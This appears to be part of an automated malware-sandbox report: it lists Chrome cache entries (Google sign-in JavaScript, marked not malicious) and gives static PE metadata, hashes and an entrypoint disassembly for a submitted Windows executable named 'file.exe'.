rs=AOaEmlGVfPbeXOsuKLP_-2Q_JIHpBKcP4A/ee=ASJRFf:DAnQ7e;Al0B8:kibjWe;DaIJ8c:iAskyc;EVNhjf:pw70Gc;EkYFhd:GwYlN;EmZ2Bf:zr1jrb;Erl4fe:FloWmf;JsbNhc:Xd8iUd;LBgRLc:XVMNvd;Me32dd:MEeYgc;NPKaK:PVlQOd;NSEoX:lazG7b;Oj465e:KG2eXe;Pjplud:EEDORb;QGR0gd:Mlhmy;SMDL4c:K0PMbc;SNUn3:ZwDk9d;UpnZUd:nnwwYc;XdiAjb:NLiXbe;a56pNe:JEfCwb;cEt90b:ws9Tlc;dIoSBb:SpsfSb;eBAeSb:zbML3c;iFQyKf:vfuNJf;io8t5d:yDVVkb;kMFpHd:OTA3Ae;nAFL3:NTMZac;nTuGK:JKNPM;oGtAuc:sOXFj;oSUNyd:K0PMbc;oXZmbc:tUnxGc;pXdRYb:L9OGUe;qddgKe:xQtZb;sP4Vbe:VwDzFe;uY49fb:COQbmf;ul9GGd:VDovNc;vNjB7d:YTxL4;wR5FRb:siKnQd;yxTchf:KUM7Z/m=ZwDk9d,RMhBfe"
Preview:	"use strict";this.default_AccountsSignInUi=this.default_AccountsSignInUi\|\|{};(function(_){var window=this;.try{._.k("ZwDk9d");.var Bw=function(a){_.J.call(this,a.Fa)};_.B(Bw,_.J);Bw.Ma=_.J.Ma;Bw.Ba=_.J.Ba;Bw.prototype.oO=function(a){return _.Ee(this,{Xa:{vP:_.Kj}}).then(function(b){var c=window._wjdd,d=window._wjdc;return!c&&d?new _.Ch(function(e){window._wjdc=function(f){d(f);e(HFa(f,b,a))}}):HFa(c,b,a)})};var HFa=function(a,b,c){return(a=a&&a[c])?a:b.Xa.vP.oO(c)};.Bw.prototype.aa=function(a,b){var c=_.mua(b).Qi;if(c.startsWith("$")){var d=_.dm.get(a);_.tq[b]&&(d\|\|(d={},_.dm.set(a,d)),d[c]=_.tq[b],delete _.tq[b],_.uq--);if(d)if(a=d[c])b=_.De(a);else throw Error("$b`"+b);else b=null}else b=null;return b};_.gr(_.Rea,Bw);._.m();._.k("SNUn3");._.GFa=new _.Qe(_.Lf);._.m();._.k("RMhBfe");.var IFa=function(a,b){a=_.Dsa(a,b);return a.length==0?null:a[0].ctor},JFa=function(){return Object.values(_.qp).reduce(function(a,b){return a+Object.keys(b).length},0)},KFa=function(){return Object.entries

Chrome Cache Entry: 396

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (687)
Category:	downloaded
Size (bytes):	4140
Entropy (8bit):	5.361359795471752
Encrypted:	false
SSDEEP:	96:G9Hhi7ujpPRayX7Q7Ux7AWy6IRBeB9IWw:EHs7MFn7Q7UqWy5neu
MD5:	EE519E72A7F0CD5509FEFFD45CC15E26
SHA1:	DB8CFE661CE786605A56AF4DCFCBF3F0C4F2B03C
SHA-256:	DC642307765E6F925CF9BD95BAEE466BD0FD03FB7C4D917355B79F65A33613C2
SHA-512:	C2A904C77AAEF1B0D517AF4D21581FD86B8C58AF6C765EC21BDBEDA8B512980E4B940DE595E115E2014602B69907D7A9D75A2FFAE687B753BD9BA1F71C7CA0DB
Malicious:	false
URL:	"https://www.gstatic.com/_/mss/boq-identity/_/js/k=boq-identity.AccountsSignInUi.en.eeRqeAC2pNE.es5.O/ck=boq-identity.AccountsSignInUi.LlHfu4CKns0.L.B1.O/am=BBkMYHQbgUA8nAMfoBQIGQAAAAAAAAAAtAEAAMw/d=1/exm=A7fCU,AvtSve,CMcBD,E87wgc,EFQ78c,EIOG1e,EN3i8d,Fndnac,GwYlN,I6YDgd,IZT63,K0PMbc,K1ZKnb,KUM7Z,L1AAkb,L9OGUe,LDQI,LEikZe,MY7mZe,MpJwZc,NOeYWe,NTMZac,O6y8ed,PHUIyb,PrPYRd,RMhBfe,Rkm0ef,RqjULd,SCuOPb,SD8Jgb,STuCOe,SpsfSb,Tbb4sb,UUJqVe,Uas9Hd,VwDzFe,WpP9Yc,YHI3We,YTxL4,YgOFye,ZakeSe,ZwDk9d,_b,_tp,aC1iue,aW3pY,b3kMqb,bSspM,bTi8wc,bm51tf,byfTOb,cYShmd,eVCnO,f8Gu1e,gJzDyc,hc6Ubd,inNHtf,lsjVmc,ltDFwf,lwddkf,m9oV,mvkUhe,mzzZzc,n73qwf,njlZCf,oLggrd,pxq3x,qPYxq,qPfo0c,qmdT9,rCcCxc,rmumx,siKnQd,soHxf,t2srLd,tUnxGc,vHEMJe,vfuNJf,vjKJJ,vvMGie,w9hDv,ws9Tlc,xBaz7b,xQtZb,xiZRqc,y5vRwf,yRXbo,ywOR5c,z0u0L,zbML3c,ziZ8Mc,zr1jrb,zy0vNb/excm=_b,_tp,identifierview/ed=1/wt=2/ujg=1/rs=AOaEmlGVfPbeXOsuKLP_-2Q_JIHpBKcP4A/ee=ASJRFf:DAnQ7e;Al0B8:kibjWe;DaIJ8c:iAskyc;EVNhjf:pw70Gc;EkYFhd:GwYlN;EmZ2Bf:zr1jrb;Erl4fe:FloWmf;JsbNhc:Xd8iUd;LBgRLc:XVMNvd;Me32dd:MEeYgc;NPKaK:PVlQOd;NSEoX:lazG7b;Oj465e:KG2eXe;Pjplud:EEDORb;QGR0gd:Mlhmy;SMDL4c:K0PMbc;SNUn3:ZwDk9d;UpnZUd:nnwwYc;XdiAjb:NLiXbe;a56pNe:JEfCwb;cEt90b:ws9Tlc;dIoSBb:SpsfSb;eBAeSb:zbML3c;iFQyKf:vfuNJf;io8t5d:yDVVkb;kMFpHd:OTA3Ae;nAFL3:NTMZac;nTuGK:JKNPM;oGtAuc:sOXFj;oSUNyd:K0PMbc;oXZmbc:tUnxGc;pXdRYb:L9OGUe;qddgKe:xQtZb;sP4Vbe:VwDzFe;uY49fb:COQbmf;ul9GGd:VDovNc;vNjB7d:YTxL4;wR5FRb:siKnQd;yxTchf:KUM7Z/m=sOXFj,q0xTif,ZZ4WUe"
Preview:	"use strict";_F_installCss(".N7rBcd{overflow-x:auto}sentinel{}");.this.default_AccountsSignInUi=this.default_AccountsSignInUi\|\|{};(function(_){var window=this;.try{._.Kf(_.opa);._.k("sOXFj");.var mr=function(a){_.J.call(this,a.Fa)};_.B(mr,_.J);mr.Ma=_.J.Ma;mr.Ba=_.J.Ba;mr.prototype.aa=function(a){return a()};_.gr(_.npa,mr);._.m();._.k("oGtAuc");._.Vua=new _.Qe(_.opa);._.m();._.k("q0xTif");.var Vva=function(a){var b=function(d){_.am(d)&&(_.am(d).zc=null,_.yr(d,null));d.XyHi9&&(d.XyHi9=null)};b(a);a=a.querySelectorAll("[c-wiz]");for(var c=0;c<a.length;c++)b(a[c])},Kr=function(a){_.Np.call(this,a.Fa);this.Pa=this.dom=null;if(this.Pi()){var b=_.yk(this.Nf(),[_.Wk,_.Vk]);b=_.Eh([b[_.Wk],b[_.Vk]]).then(function(c){this.Pa=c[0];this.dom=c[1]},null,this);_.ar(this,b)}this.Oa=a.oh.o9};_.B(Kr,_.Np);Kr.Ba=function(){return{oh:{o9:function(){return _.Af(this)}}}};Kr.prototype.getContext=function(a){return this.Oa.getContext(a)};.Kr.prototype.getData=function(a){return this.Oa.getData(a)};Kr.protot

Chrome Cache Entry: 397

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (770)
Category:	downloaded
Size (bytes):	239555
Entropy (8bit):	5.46539356962196
Encrypted:	false
SSDEEP:	1536:QFiUYnKncrdCmnrYPZxSSS+S7x+Ku1BIhKV99MYqXMM6mMDIN4ilFXuk/iqci4qr:QonKnmUPo+K2g8wHlzlFaKHXks+Pcxh
MD5:	97CFDC169786CEF8359C1E651CA9F688
SHA1:	6F6CB29E722BDC7843E6743F37729C61BA637992
SHA-256:	FF10696559EE09A6E7F36536D3EE8993F1334FABAF84B8D100F54BE935A72206
SHA-512:	3CB40DC0B02DDAB925BFE2DAF5D3F5D8301B2DA4909CA4C26893787936A05CD9B1F139EB4B10A81F08E737006F712C7AF6D110E8AF837A7D430BAEA7C1798251
Malicious:	false
URL:	"https://www.gstatic.com/_/mss/boq-identity/_/js/k=boq-identity.AccountsSignInUi.en.eeRqeAC2pNE.es5.O/am=BBkMYHQbgUA8nAMfoBQIGQAAAAAAAAAAtAEAAMw/d=1/excm=_b,_tp,identifierview/ed=1/dg=0/wt=2/ujg=1/rs=AOaEmlHX8PXvJf5arGGU-PnGmEi4byNB9Q/m=_b,_tp"
Preview:	"use strict";this.default_AccountsSignInUi=this.default_AccountsSignInUi\|\|{};(function(_){var window=this;.try{._._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x200c1904, 0x2046dd1, 0x3039c3c4, 0x2052807, 0x19, 0x0, 0x1b4000, 0x330000, ]);./.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0././.. SPDX-License-Identifier: Apache-2.0././.. Copyright 2024 Google, Inc. SPDX-License-Identifier: MIT./.var baa,daa,gaa,laa,oaa,cb,db,gb,Kb,Mb,Nb,yaa,zaa,Ob,Aaa,Baa,Caa,Sb,Xb,Gaa,Iaa,Kaa,Oaa,ac,cc,Qaa,Raa,Vaa,cba,dba,hba,kba,eba,jba,iba,gba,fba,lba,wc,qba,rba,oba,sba,wba,xba,yba,Uc,Bba,Cba,Dba,Eba,Fba,Iba,fd,Lba,Kba,Nba,jd,id,Pba,Oba,Sba,Rba,od,Tba,Wba,Yba,Zba,aca,bca,Cd,nca,oca,Md,Bd,Ed,Cca,zca,Dca,Eca,Hca,Fca,Lca,Mca,Nca,Qca,Rca,xca,Pca,Tca,kda,te,mda,ue,nda,pda,rda,wda,xda,yda,zda,Ada,Dda,Fda,Mda,Nda,Oda,Sda,aea,Xda,dea,mf,gea,hea,iea,lea,nea,qe

Chrome Cache Entry: 398

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	44
Entropy (8bit):	4.453416561671607
Encrypted:	false
SSDEEP:	3:8VKJmQcwVbF7KnZ:BJmjwVbF7KZ
MD5:	491DC96011445194971CFAE6A7A0B191
SHA1:	74BD675A8CBC8AF507C0EB5509727EA3F9B85060
SHA-256:	C3BA6FCBB38A83C87009DEE4BAB93A9B3274553128D77E5B2C04077ECD35C1D3
SHA-512:	38356EF67B6B704F2129828299E516B04B29EA1EEB25CF356E22E3AFEC7A875E2187F70E9E7CF0467DEFA14F11D802ACF00D69B2B13EFEA025942E21383AC35E
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISHgmA6QC9dWevzxIFDRkBE_oSBQ3oIX6GEgUN05ioBw==?alt=proto
Preview:	Ch8KBw0ZARP6GgAKCw3oIX6GGgQISxgCCgcN05ioBxoA

Chrome Cache Entry: 399

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4359)
Category:	downloaded
Size (bytes):	19309
Entropy (8bit):	5.361052949941099
Encrypted:	false
SSDEEP:	384:+v76/t1R45kLq13GP+eSmJz3Z7ZqOf92pIS9pPidpzNPE:+v76/VLq13G2M7Z/l2pIspPidpzNPE
MD5:	7308C0C5ABCE48FBBF170D3DE12E02C0
SHA1:	7EB45C23D8DF9A9D066A33B3F43ABFB568F65CAA
SHA-256:	D60D21EBFF450E90D887EC9C32B81F9AA70DD0C9009D725C5F979881E657A84F
SHA-512:	600EE3D0AD23A9ECF3AD4BE66110947F339246857A522A2E689A699742DCF6C8397E6EFD18F1461390932C1A863445C90707EB4E44B03BEC91FF3B878975B1DE
Malicious:	false
URL:	"https://www.gstatic.com/_/mss/boq-identity/_/js/k=boq-identity.AccountsSignInUi.en.eeRqeAC2pNE.es5.O/ck=boq-identity.AccountsSignInUi.LlHfu4CKns0.L.B1.O/am=BBkMYHQbgUA8nAMfoBQIGQAAAAAAAAAAtAEAAMw/d=1/exm=AvtSve,CMcBD,E87wgc,EFQ78c,EIOG1e,EN3i8d,Fndnac,GwYlN,I6YDgd,IZT63,K0PMbc,K1ZKnb,KUM7Z,L1AAkb,L9OGUe,LDQI,LEikZe,MY7mZe,MpJwZc,NOeYWe,NTMZac,O6y8ed,PHUIyb,PrPYRd,Rkm0ef,SCuOPb,SD8Jgb,STuCOe,SpsfSb,Tbb4sb,UUJqVe,Uas9Hd,WpP9Yc,YHI3We,YTxL4,YgOFye,ZakeSe,_b,_tp,aC1iue,aW3pY,b3kMqb,bSspM,bTi8wc,byfTOb,cYShmd,eVCnO,f8Gu1e,gJzDyc,hc6Ubd,inNHtf,lsjVmc,ltDFwf,lwddkf,m9oV,mvkUhe,mzzZzc,n73qwf,njlZCf,oLggrd,pxq3x,qPYxq,qPfo0c,qmdT9,rCcCxc,rmumx,siKnQd,soHxf,t2srLd,tUnxGc,vHEMJe,vfuNJf,vjKJJ,vvMGie,ws9Tlc,xBaz7b,xQtZb,xiZRqc,y5vRwf,yRXbo,ywOR5c,z0u0L,zbML3c,ziZ8Mc,zr1jrb,zy0vNb/excm=_b,_tp,identifierview/ed=1/wt=2/ujg=1/rs=AOaEmlGVfPbeXOsuKLP_-2Q_JIHpBKcP4A/ee=ASJRFf:DAnQ7e;Al0B8:kibjWe;DaIJ8c:iAskyc;EVNhjf:pw70Gc;EkYFhd:GwYlN;EmZ2Bf:zr1jrb;Erl4fe:FloWmf;JsbNhc:Xd8iUd;LBgRLc:XVMNvd;Me32dd:MEeYgc;NPKaK:PVlQOd;NSEoX:lazG7b;Oj465e:KG2eXe;Pjplud:EEDORb;QGR0gd:Mlhmy;SMDL4c:K0PMbc;SNUn3:ZwDk9d;UpnZUd:nnwwYc;XdiAjb:NLiXbe;a56pNe:JEfCwb;cEt90b:ws9Tlc;dIoSBb:SpsfSb;eBAeSb:zbML3c;iFQyKf:vfuNJf;io8t5d:yDVVkb;kMFpHd:OTA3Ae;nAFL3:NTMZac;nTuGK:JKNPM;oGtAuc:sOXFj;oSUNyd:K0PMbc;oXZmbc:tUnxGc;pXdRYb:L9OGUe;qddgKe:xQtZb;sP4Vbe:VwDzFe;uY49fb:COQbmf;ul9GGd:VDovNc;vNjB7d:YTxL4;wR5FRb:siKnQd;yxTchf:KUM7Z/m=RqjULd"
Preview:	"use strict";this.default_AccountsSignInUi=this.default_AccountsSignInUi\|\|{};(function(_){var window=this;.try{.var KDa=_.fa.URL,LDa,MDa,ODa,NDa;try{new KDa("http://example.com"),LDa=!0}catch(a){LDa=!1}MDa=LDa;.ODa=function(a){var b=_.rh("A");try{_.ub(b,new _.eb(a));var c=b.protocol}catch(e){throw Error("tc`"+a);}if(c===""\|\|c===":"\|\|c[c.length-1]!=":")throw Error("tc`"+a);if(!NDa.has(c))throw Error("tc`"+a);if(!b.hostname)throw Error("tc`"+a);var d=b.href;a={href:d,protocol:b.protocol,username:"",password:"",hostname:b.hostname,pathname:"/"+b.pathname,search:b.search,hash:b.hash,toString:function(){return d}};NDa.get(b.protocol)===b.port?(a.host=a.hostname,a.port="",a.origin=a.protocol+"//"+a.hostname):.(a.host=b.host,a.port=b.port,a.origin=a.protocol+"//"+a.hostname+":"+a.port);return a};._.PDa=function(a){if(MDa){try{var b=new KDa(a)}catch(d){throw Error("tc`"+a);}var c=NDa.get(b.protocol);if(!c)throw Error("tc`"+a);if(!b.hostname)throw Error("tc`"+a);b.origin=="null"&&(a={href:b.hre

Chrome Cache Entry: 400

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (777)
Category:	downloaded
Size (bytes):	7628
Entropy (8bit):	5.349498269561148
Encrypted:	false
SSDEEP:	96:omYlhtBTnUmDuGWe73+SGmruOw2SwsOAN+adNyqJTdzVf6lEazLmzyWh1BVOcp+8:aFv6OwDwsOP4B9AlEqbBK/
MD5:	B4CEAF64402359BF4177ACB00690046E
SHA1:	9511AD786C8AF1887B2441AFC19CD21203FFBF0C
SHA-256:	D58BAC29D10E10A7620F9B8BF4CC1DAE28D7E5C65340F3D069956FE794A2EB26
SHA-512:	2B5BAD589D0BD6A2D3C0484CB07395BA4EBBA629E7B487809444C71CF4D46F7DC63F1FD96F8A500E6F20FFE1C62EBA7DB82A1CA030E788644374ACA04B67F8E5
Malicious:	false
URL:	"https://www.gstatic.com/_/mss/boq-identity/_/js/k=boq-identity.AccountsSignInUi.en.eeRqeAC2pNE.es5.O/ck=boq-identity.AccountsSignInUi.LlHfu4CKns0.L.B1.O/am=BBkMYHQbgUA8nAMfoBQIGQAAAAAAAAAAtAEAAMw/d=1/exm=A7fCU,AvtSve,CMcBD,E87wgc,EFQ78c,EIOG1e,EN3i8d,Fndnac,GwYlN,I6YDgd,IZT63,K0PMbc,K1ZKnb,KUM7Z,L1AAkb,L9OGUe,LDQI,LEikZe,MY7mZe,MpJwZc,NOeYWe,NTMZac,O6y8ed,PHUIyb,PrPYRd,RMhBfe,Rkm0ef,RqjULd,SCuOPb,SD8Jgb,STuCOe,SpsfSb,Tbb4sb,UUJqVe,Uas9Hd,VwDzFe,WpP9Yc,YHI3We,YTxL4,YgOFye,ZZ4WUe,ZakeSe,ZwDk9d,_b,_tp,aC1iue,aW3pY,b3kMqb,bSspM,bTi8wc,bm51tf,byfTOb,cYShmd,eVCnO,f8Gu1e,gJzDyc,hc6Ubd,iAskyc,inNHtf,lsjVmc,ltDFwf,lwddkf,m9oV,mvkUhe,mzzZzc,n73qwf,njlZCf,oLggrd,pxq3x,q0xTif,qPYxq,qPfo0c,qmdT9,rCcCxc,rmumx,sOXFj,siKnQd,soHxf,t2srLd,tUnxGc,vHEMJe,vfuNJf,vjKJJ,vvMGie,w9hDv,ws9Tlc,xBaz7b,xQtZb,xiZRqc,y5vRwf,yRXbo,ywOR5c,z0u0L,zbML3c,ziXSP,ziZ8Mc,zr1jrb,zy0vNb/excm=_b,_tp,identifierview/ed=1/wt=2/ujg=1/rs=AOaEmlGVfPbeXOsuKLP_-2Q_JIHpBKcP4A/ee=ASJRFf:DAnQ7e;Al0B8:kibjWe;DaIJ8c:iAskyc;EVNhjf:pw70Gc;EkYFhd:GwYlN;EmZ2Bf:zr1jrb;Erl4fe:FloWmf;JsbNhc:Xd8iUd;LBgRLc:XVMNvd;Me32dd:MEeYgc;NPKaK:PVlQOd;NSEoX:lazG7b;Oj465e:KG2eXe;Pjplud:EEDORb;QGR0gd:Mlhmy;SMDL4c:K0PMbc;SNUn3:ZwDk9d;UpnZUd:nnwwYc;XdiAjb:NLiXbe;a56pNe:JEfCwb;cEt90b:ws9Tlc;dIoSBb:SpsfSb;eBAeSb:zbML3c;iFQyKf:vfuNJf;io8t5d:yDVVkb;kMFpHd:OTA3Ae;nAFL3:NTMZac;nTuGK:JKNPM;oGtAuc:sOXFj;oSUNyd:K0PMbc;oXZmbc:tUnxGc;pXdRYb:L9OGUe;qddgKe:xQtZb;sP4Vbe:VwDzFe;uY49fb:COQbmf;ul9GGd:VDovNc;vNjB7d:YTxL4;wR5FRb:siKnQd;yxTchf:KUM7Z/m=wg1P6b"
Preview:	"use strict";this.default_AccountsSignInUi=this.default_AccountsSignInUi\|\|{};(function(_){var window=this;.try{._.XNa=_.y("wg1P6b",[_.gy,_.Ll,_.Rl]);._.k("wg1P6b");.var j3a=function(a,b){b=b\|\|_.Na;for(var c=0,d=a.length,e;c<d;){var f=c+(d-c>>>1);var g=b(0,a[f]);g>0?c=f+1:(d=f,e=!g)}return e?c:-c-1},k3a=function(a,b){for(;b=b.previousSibling;)if(b==a)return-1;return 1},l3a=function(a,b){var c=a.parentNode;if(c==b)return-1;for(;b.parentNode!=c;)b=b.parentNode;return k3a(b,a)},m3a=function(a,b){if(a==b)return 0;if(a.compareDocumentPosition)return a.compareDocumentPosition(b)&2?1:-1;if("sourceIndex"in a\|\|a.parentNode&&"sourceIndex"in a.parentNode){var c=a.nodeType==.1,d=b.nodeType==1;if(c&&d)return a.sourceIndex-b.sourceIndex;var e=a.parentNode,f=b.parentNode;return e==f?k3a(a,b):!c&&_.vh(e,b)?-1*l3a(a,b):!d&&_.vh(f,a)?l3a(b,a):(c?a.sourceIndex:e.sourceIndex)-(d?b.sourceIndex:f.sourceIndex)}d=_.lh(a);c=d.createRange();c.selectNode(a);c.collapse(!0);a=d.createRange();a.selectNode(b);a.colla

Chrome Cache Entry: 401

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (22718)
Category:	downloaded
Size (bytes):	808350
Entropy (8bit):	5.738141163413752
Encrypted:	false
SSDEEP:	6144:PL7BrNaIFchYNJA3XAsW7T+JxUiUUs8s1q9Y7BQIR0eXZpamA9zCHKjr:PL7BNaIFyU7U534ZsX
MD5:	7E987F144AB81BB19B6B04CF8E5130E3
SHA1:	D7384FAF4BB77CCC5C5785FFC3814FBFD2EEAF6C
SHA-256:	AE0D2A18833B0F010035AA084598CC5BDECE9ECC75EA4BEBA31B37A8CE1DE2C4
SHA-512:	49D382D8520FF6CDF6754EF1E684E8B044C26E0474D6F207054F752E2203F950DEC7E8DB3638A9FCC668E501BD4560B0ED0AC4B159C55DF3DEECBAD639C0D1F1
Malicious:	false
URL:	"https://www.gstatic.com/_/mss/boq-identity/_/js/k=boq-identity.AccountsSignInUi.en.eeRqeAC2pNE.es5.O/ck=boq-identity.AccountsSignInUi.LlHfu4CKns0.L.B1.O/am=BBkMYHQbgUA8nAMfoBQIGQAAAAAAAAAAtAEAAMw/d=1/exm=LEikZe,_b,_tp,byfTOb,lsjVmc/excm=_b,_tp,identifierview/ed=1/wt=2/ujg=1/rs=AOaEmlGVfPbeXOsuKLP_-2Q_JIHpBKcP4A/ee=ASJRFf:DAnQ7e;Al0B8:kibjWe;DaIJ8c:iAskyc;EVNhjf:pw70Gc;EkYFhd:GwYlN;EmZ2Bf:zr1jrb;Erl4fe:FloWmf;JsbNhc:Xd8iUd;LBgRLc:XVMNvd;Me32dd:MEeYgc;NPKaK:PVlQOd;NSEoX:lazG7b;Oj465e:KG2eXe;Pjplud:EEDORb;QGR0gd:Mlhmy;SMDL4c:K0PMbc;SNUn3:ZwDk9d;UpnZUd:nnwwYc;XdiAjb:NLiXbe;a56pNe:JEfCwb;cEt90b:ws9Tlc;dIoSBb:SpsfSb;eBAeSb:zbML3c;iFQyKf:vfuNJf;io8t5d:yDVVkb;kMFpHd:OTA3Ae;nAFL3:NTMZac;nTuGK:JKNPM;oGtAuc:sOXFj;oSUNyd:K0PMbc;oXZmbc:tUnxGc;pXdRYb:L9OGUe;qddgKe:xQtZb;sP4Vbe:VwDzFe;uY49fb:COQbmf;ul9GGd:VDovNc;vNjB7d:YTxL4;wR5FRb:siKnQd;yxTchf:KUM7Z/m=n73qwf,SCuOPb,IZT63,vfuNJf,UUJqVe,ws9Tlc,siKnQd,STuCOe,njlZCf,m9oV,vjKJJ,y5vRwf,NTMZac,mzzZzc,rCcCxc,vvMGie,K1ZKnb,ziZ8Mc,b3kMqb,mvkUhe,CMcBD,Fndnac,t2srLd,EN3i8d,z0u0L,xiZRqc,NOeYWe,O6y8ed,L9OGUe,PrPYRd,MpJwZc,cYShmd,hc6Ubd,Rkm0ef,KUM7Z,oLggrd,inNHtf,L1AAkb,WpP9Yc,lwddkf,gJzDyc,SpsfSb,aC1iue,tUnxGc,aW3pY,ZakeSe,EFQ78c,xQtZb,I6YDgd,zbML3c,zr1jrb,vHEMJe,YHI3We,YTxL4,bSspM,Uas9Hd,zy0vNb,K0PMbc,AvtSve,qmdT9,MY7mZe,xBaz7b,GwYlN,eVCnO,EIOG1e,LDQI"
Preview:	"use strict";_F_installCss(".VfPpkd-Sx9Kwc .VfPpkd-P5QLlc{background-color:#fff;background-color:var(--mdc-theme-surface,#fff)}.VfPpkd-Sx9Kwc .VfPpkd-IE5DDf,.VfPpkd-Sx9Kwc .VfPpkd-P5QLlc-GGAcbc{background-color:rgba(0,0,0,.32)}.VfPpkd-Sx9Kwc .VfPpkd-k2Wrsb{color:rgba(0,0,0,.87)}.VfPpkd-Sx9Kwc .VfPpkd-cnG4Wd{color:rgba(0,0,0,.6)}.VfPpkd-Sx9Kwc .VfPpkd-zMU9ub{color:#000;color:var(--mdc-theme-on-surface,#000)}.VfPpkd-Sx9Kwc .VfPpkd-zMU9ub .VfPpkd-Bz112c-Jh9lGc::before,.VfPpkd-Sx9Kwc .VfPpkd-zMU9ub .VfPpkd-Bz112c-Jh9lGc::after{background-color:#000;background-color:var(--mdc-ripple-color,var(--mdc-theme-on-surface,#000))}.VfPpkd-Sx9Kwc .VfPpkd-zMU9ub:hover .VfPpkd-Bz112c-Jh9lGc::before,.VfPpkd-Sx9Kwc .VfPpkd-zMU9ub.VfPpkd-ksKsZd-XxIAqe-OWXEXe-ZmdkE .VfPpkd-Bz112c-Jh9lGc::before{opacity:.04;opacity:var(--mdc-ripple-hover-opacity,.04)}.VfPpkd-Sx9Kwc .VfPpkd-zMU9ub.VfPpkd-ksKsZd-mWPk3d-OWXEXe-AHe6Kc-XpnDCe .VfPpkd-Bz112c-Jh9lGc::before,.VfPpkd-Sx9Kwc .VfPpkd-zMU9ub:not(.VfPpkd-ksKsZd-mWPk3d):

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	5.445881321727232
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	290'816 bytes
MD5:	57a35eb5298b9bec9cd7ffc3fb8204f7
SHA1:	93381d2f35df4d54134db07167c2eee616a2d3e9
SHA256:	390163b1882726bbb614ee93e59b727feae9dfec735d4813dca8caf709f65c48
SHA512:	aa1381e1c1fc1003a1996a308940b816662a8560537205547e92f38ea7c70432bdd6e5ad86d8f9732258c33c4a14fac764882b64633d58ca9819ccf54ab93f8a
SSDEEP:	6144:LmN7+89JLs1wUPSPB1JEMj5OmAA7kaSbT:Lyi89JWwUPSbD5CP
TLSH:	6054DF1136B4CC76E0E25A359865D6F0AA3EBC13EEBA814B33443F6F3E712915B62351
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........G!GW&O.W&O.W&O.8P..D&O.8P..3&O.8P..H&O.^^..P&O.W&N.&&O.8P..V&O.8P..V&O.8P..V&O.RichW&O.........PE..L...x`.e...................

File Icon


Icon Hash:	63396de961636e0f

Static PE Info

General

Entrypoint:	0x402ed8
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x658B6078 [Tue Dec 26 23:23:36 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	3d15dc29df6b6a9c18728234a754677f

Entrypoint Preview

Instruction
call 00007F1C24C8F627h
jmp 00007F1C24C8B09Eh
mov edi, edi
push ebp
mov ebp, esp
sub esp, 20h
mov eax, dword ptr [ebp+08h]
push esi
push edi
push 00000008h
pop ecx
mov esi, 00431274h
lea edi, dword ptr [ebp-20h]
rep movsd
mov dword ptr [ebp-08h], eax
mov eax, dword ptr [ebp+0Ch]
pop edi
mov dword ptr [ebp-04h], eax
pop esi
test eax, eax
je 00007F1C24C8B21Eh
test byte ptr [eax], 00000008h
je 00007F1C24C8B219h
mov dword ptr [ebp-0Ch], 01994000h
lea eax, dword ptr [ebp-0Ch]
push eax
push dword ptr [ebp-10h]
push dword ptr [ebp-1Ch]
push dword ptr [ebp-20h]
call dword ptr [004310D0h]
leave
retn 0008h
push edi
mov eax, esi
and eax, 0Fh
test eax, eax
jne 00007F1C24C8B2D7h
mov edx, ecx
and ecx, 7Fh
shr edx, 07h
je 00007F1C24C8B277h
jmp 00007F1C24C8B218h
lea ebx, dword ptr [ebx+00000000h]
movdqa xmm0, dqword ptr [esi]
movdqa xmm1, dqword ptr [esi+10h]
movdqa xmm2, dqword ptr [esi+20h]
movdqa xmm3, dqword ptr [esi+30h]
movdqa dqword ptr [edi], xmm0
movdqa dqword ptr [edi+10h], xmm1
movdqa dqword ptr [edi+20h], xmm2
movdqa dqword ptr [edi+30h], xmm3
movdqa xmm4, dqword ptr [esi+40h]
movdqa xmm5, dqword ptr [esi+50h]
movdqa xmm6, dqword ptr [esi+60h]
movdqa xmm7, dqword ptr [esi+70h]
movdqa dqword ptr [edi+40h], xmm4
movdqa dqword ptr [edi+50h], xmm5
movdqa dqword ptr [edi+60h], xmm6
movdqa dqword ptr [edi+70h], xmm7
lea esi, dword ptr [esi+00000080h]

Rich Headers

Programming Language:

[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[C++] VS2010 build 30319
[IMP] VS2008 SP1 build 30729
[RES] VS2010 build 30319
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x33c74	0x50	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x2056000	0x8340	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x33cc4	0x1c	.rdata
